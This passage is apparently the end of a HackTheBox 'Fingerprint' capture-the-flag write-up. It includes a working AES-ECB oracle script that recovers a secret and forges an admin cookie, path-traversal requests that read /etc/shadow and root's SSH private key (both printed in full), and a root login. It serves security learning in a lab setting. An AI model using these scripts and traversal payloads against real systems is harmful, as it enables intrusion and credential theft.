known = ",7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr453!!!,true"
cookies = {"user_id":"49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"}
session = requests.session()
data += padding
return cryptor.encrypt(data).encode('hex')

We can forward localhost:8088 to ourselves from the target box and see if we can attack this:

1
ssh -L 8088:localhost:8088 -i id_rsa john@fingerprint.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
from string import printable

def getBlocks(userid):
new=[]
for i in range(0, len(userid),blockSize):
new.append(userid[i:i+blockSize])
return new

"""
def determine_blockSize():
newUIDLen = 0
username_len = 1
while UIDLen >= newUIDLen:
request = session.post("http://localhost:8088/profile", data={"new_name":"\x01"*username_len}, cookies=cookies, allow_redirects=False)
userid = request.cookies['user_id']
newUIDLen = len(userid)
print(username_len)
print("username = "+"a"*username_len+" yield length = "+str(newUIDLen))
username_len+=1
print("\n".join(getBlocks(userid)))
print("-"*32)
"""

def main():
known = ',7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr4'
while True:
request = session.post("http://localhost:8088/profile", data={"new_name":"\x01"*(start_block_gap-len(known))}, cookies=cookies, allow_redirects=False)
userid = request.cookies['user_id']
bblock = getBlocks(userid)
print(bblock[3])
for character in printable:
request = session.post("http://localhost:8088/profile", data={"new_name":"\x01"*(start_block_gap-len(known))+known+character}, cookies=cookies, allow_redirects=False)
userid = request.cookies['user_id']
block = getBlocks(userid)
if(block[3] == bblock[3]):
print(known+character)
known+=character

if __name__ == "__main__":
session = requests.Session()
cookies = {"user_id":"49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"}
UIDLen = 128
blockSize = 32
start_block_gap = 63
main()
1
2
3
4
5
6
┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# python3 att.py 1 ⨯
f45c2407de3a6ead5cc9b932f55fdf92
,7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr45
2cbf5b00a2b8f3c89a9c62ce1dbe19d0
,7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr453

yes, we did…

After using this, we can try retrieve a working cookie to give ourselves access to the admin portal:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

def main():
r = session.post("http://localhost:8088/profile", data = {"new_name":"\x01"*(start_block_gap-len(known))+known}, cookies=cookies, allow_redirects=False)
UID = r.cookies['user_id']
print(UID)

if __name__ == "__main__":
start_block_gap = 64
known = ",7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr453!!!,true"
cookies = {"user_id":"49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"}
session = requests.session()
main()

Running the script, I get the following:

1
2
3
┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# python3 cook.py
1864bc52a87c7c688573a0fff1aea89cfb4f34faed3576cfcf70f713ffea485b01b1b06d23e2c6c8eacc793c07597edc4beba4fa5b1c380302525ee6e935282ff30abe9eba1c358b7a675b5e1e9ad7548c9b3fefd732c4a597b9edd3bebc9e1cf45c2407de3a6ead5cc9b932f55fdf92c5dd1d4c7488606dc98abd2d888f12ef

Finally, we reuse our LFI to geet root’s flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /admin/view/../../etc/shadow HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CATS=95dvh0oeepi123t462f8l9ogjn; JSESSIONID=04cd9eef705ab7196f449e33a540; user_id=1864bc52a87c7c688573a0fff1aea89cfb4f34faed3576cfcf70f713ffea485b01b1b06d23e2c6c8eacc793c07597edc4beba4fa5b1c380302525ee6e935282ff30abe9eba1c358b7a675b5e1e9ad7548c9b3fefd732c4a597b9edd3bebc9e1cf45c2407de3a6ead5cc9b932f55fdf92c5dd1d4c7488606dc98abd2d888f12ef
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root:$6$majc7QP4$VMJpElFyLIyyBoq4QFLBGkuY0q9BrThALCyM54jGim.gJQlOsVUBI5nmu70LNV1FV2GxiyqbpzMkFk/x9ahgc1:18928:0:99999:7:::
daemon:*:18480:0:99999:7:::
bin:*:18480:0:99999:7:::
sys:*:18480:0:99999:7:::
sync:*:18480:0:99999:7:::
games:*:18480:0:99999:7:::
man:*:18480:0:99999:7:::
lp:*:18480:0:99999:7:::
mail:*:18480:0:99999:7:::
news:*:18480:0:99999:7:::
uucp:*:18480:0:99999:7:::
proxy:*:18480:0:99999:7:::
www-data:*:18480:0:99999:7:::
backup:*:18480:0:99999:7:::
list:*:18480:0:99999:7:::
irc:*:18480:0:99999:7:::
gnats:*:18480:0:99999:7:::
nobody:*:18480:0:99999:7:::
systemd-network:*:18480:0:99999:7:::
systemd-resolve:*:18480:0:99999:7:::
syslog:*:18480:0:99999:7:::
messagebus:*:18480:0:99999:7:::
_apt:*:18480:0:99999:7:::
lxd:*:18480:0:99999:7:::
uuidd:*:18480:0:99999:7:::
dnsmasq:*:18480:0:99999:7:::
landscape:*:18480:0:99999:7:::
pollinate:*:18480:0:99999:7:::
sshd:*:18896:0:99999:7:::
john:$6$lK2ZQ//M$Ix2MY.gi6rgcXRVuxRxWj4vPzKxS5IRNKkY.lQpVTdu0ukcERk1dzTm6GrSucBsd1DqvLpnxRuw.3QsWyzp3j0:18896:0:99999:7:::
mysql:!:18896:0:99999:7:::
flask:!:18896:0:99999:7:::

and get root’s ssh key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
GET /admin/view/../../root/.ssh/id_rsa HTTP/1.1

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAvBdEECQOhzxNhtcyq8/TU6T1hbSK2WYbpF3OBMlCKUeh5Z62
i9RmFG1BVU5i7IMAVelL92WrGgYXfp2A9oIeLugEIjGcqAkK0aqWM6PnaSvGsnzj
wmncPtNqudxWMPMozOc5baf9RIWDGG84KZrhk+FMt75amL6uFgz/ztXsHAotrBF8
QLdKU92/jddEd4c5T5N4kpLm+cR2vYH4JW12mp2/vthkM1kD0g0q6u6i7Ofl/XQi
gRn8oJmh54+SMc+HgQKhtTf0u1Dg15Ij9GvdlFn4iz/jUF93vZz4wFD58q9N2R9u
lZWTCm+BOqhca0jNaQgX5kQtkZ2uoU/XqzunIQIDAQABAoIBAQCuMn3+1OX/qYHD
mBp9tQRrOyOIqSTPIxoGqDndhOeZg5YVK2C1MAk6cdVIREip8smkx2Rrw+UrPOkV
gpmls+xwVME/SeNkXLuAYxSozuvLI5fqRnBJ5fDs3rDBYacRvqHS43L0c9jEVUKM
prTFE4RHiSmcIteVD0P7eB6SWN1LOSrKxMipTUhRG3m1b6QyQEO8S2zPxqklQxHh
pq5zcZaLINr5TVwB7jiDidfbIN3obIBzTU1WrCn5Re8Tyu1Xlmljva1U3kfjhlSL
iuMlYPi4omt6ZODy9qnImJvCh35ZhIs1tyR1XFwtyeOermwwDFbOEX14bNk1c7Nb
QgebG7gBAoGBAOlQmS3HIdEnuaJeQCqJQ2MQP50O0GEvvbB1IRLjPRKpW6amC2rv
Udrmk/6SQUwcxEDNjLkcabn1BAw6ZKBsUjGydVnW+awRQqWmdL9CLcMhFI922V+G
mb8DEq1dO4KsY909E23yq1R7z1De5r1wMzL85+2QeoadHEgAXsjKjbyxAoGBAM5h
AWKxxdo4k2qv8FeAcy9xGbcpP9YUEnySCOVrFYYAenR+oeWHmojF8T8WAAChdsgc
YHmbPi0etlAX4pAt3ww05SPjdUNb81avAiKphRITVF/hr1DWqdSrjHgmO8JhPgY+
132qO8rHjnfsMmh+eSWQXPy1O9yYVed1sgzDlG1xAoGAWBNY//MATRiV9zllN6mB
itADc6K3/zgqf4Z36c1mrLjKJGriPIgDeoM4sw07ISRq4Zu219pl/xEDaipQ+k5p
6ODZdAS3U8FgS3A++kRdSiAextmyzWDegUEDt/ZOFNJHEKmRwBuvmcDzTjAXIsRM
T58xXnkAB/kfR/77yQjN4MECgYEAw5fsWD1j5o34KQTWJBf5Et1+IblWZu5fFvDQ
vZ3fqECLzhy2E3ORYk83dTLEjdR5Xu6GALrBEsIox3/bmgnfexImmPzaBhz/Ywg6
Xd+L3rWzIawjG9pW2tg7KSQTPwYqYoDseoz8XhMDU2Tn4WD8MD3B4z9gnJFD2ToS
pUY3RgECgYEAyWrVpT9rI4j2pDC/ht54dtCltxw+jcZp5F57IsAy7ldlsefuwoNr
GWUYBeBWuK8vx14XYNvMt45eg/GaU02VSoczuNPIvOoKbrH3+BXK290zxvwznqTS
oggFxgjTq+oAawHPmDGDrWgqoa/Aecd6C0t94Tv7avfE9ZBJ4QWMsms=
-----END RSA PRIVATE KEY-----

and we can get both user and root flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# chmod 600 id_rsa

┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# ssh -i id_rsa root@10.10.11.127
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-163-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Thu Feb 3 16:28:29 UTC 2022

System load: 0.05 Processes: 165
Usage of /: 54.5% of 6.82GB Users logged in: 0
Memory usage: 22% IP address for eth0: 10.10.11.127
Swap usage: 0%


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Feb 3 16:11:52 2022 from 10.10.14.25
root@fingerprint:~# cat root.txt
0199cf2de74d5952dc56bb24543a5b32
root@fingerprint:~# cat /home/john/user.txt
28b1f5b9f3b4d8ed1edc0914ee9c78e1

Summary of knowledge

  • LFI read users.db file
  • xss steal admin’s auth_secondary param
  • decode jwt cookie and then forge
  • Hibernate Query Language Injection bypass login
  • RCE via forged jwt cookie to get a reverse shell
  • py script extract id_rsa key through SUID binary
  • java classes has a hibernate password commented out
  • forge admin’s user_id through custom AES-ECB script
  • LFI reuse to get root’s flag and root’s ssh key

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…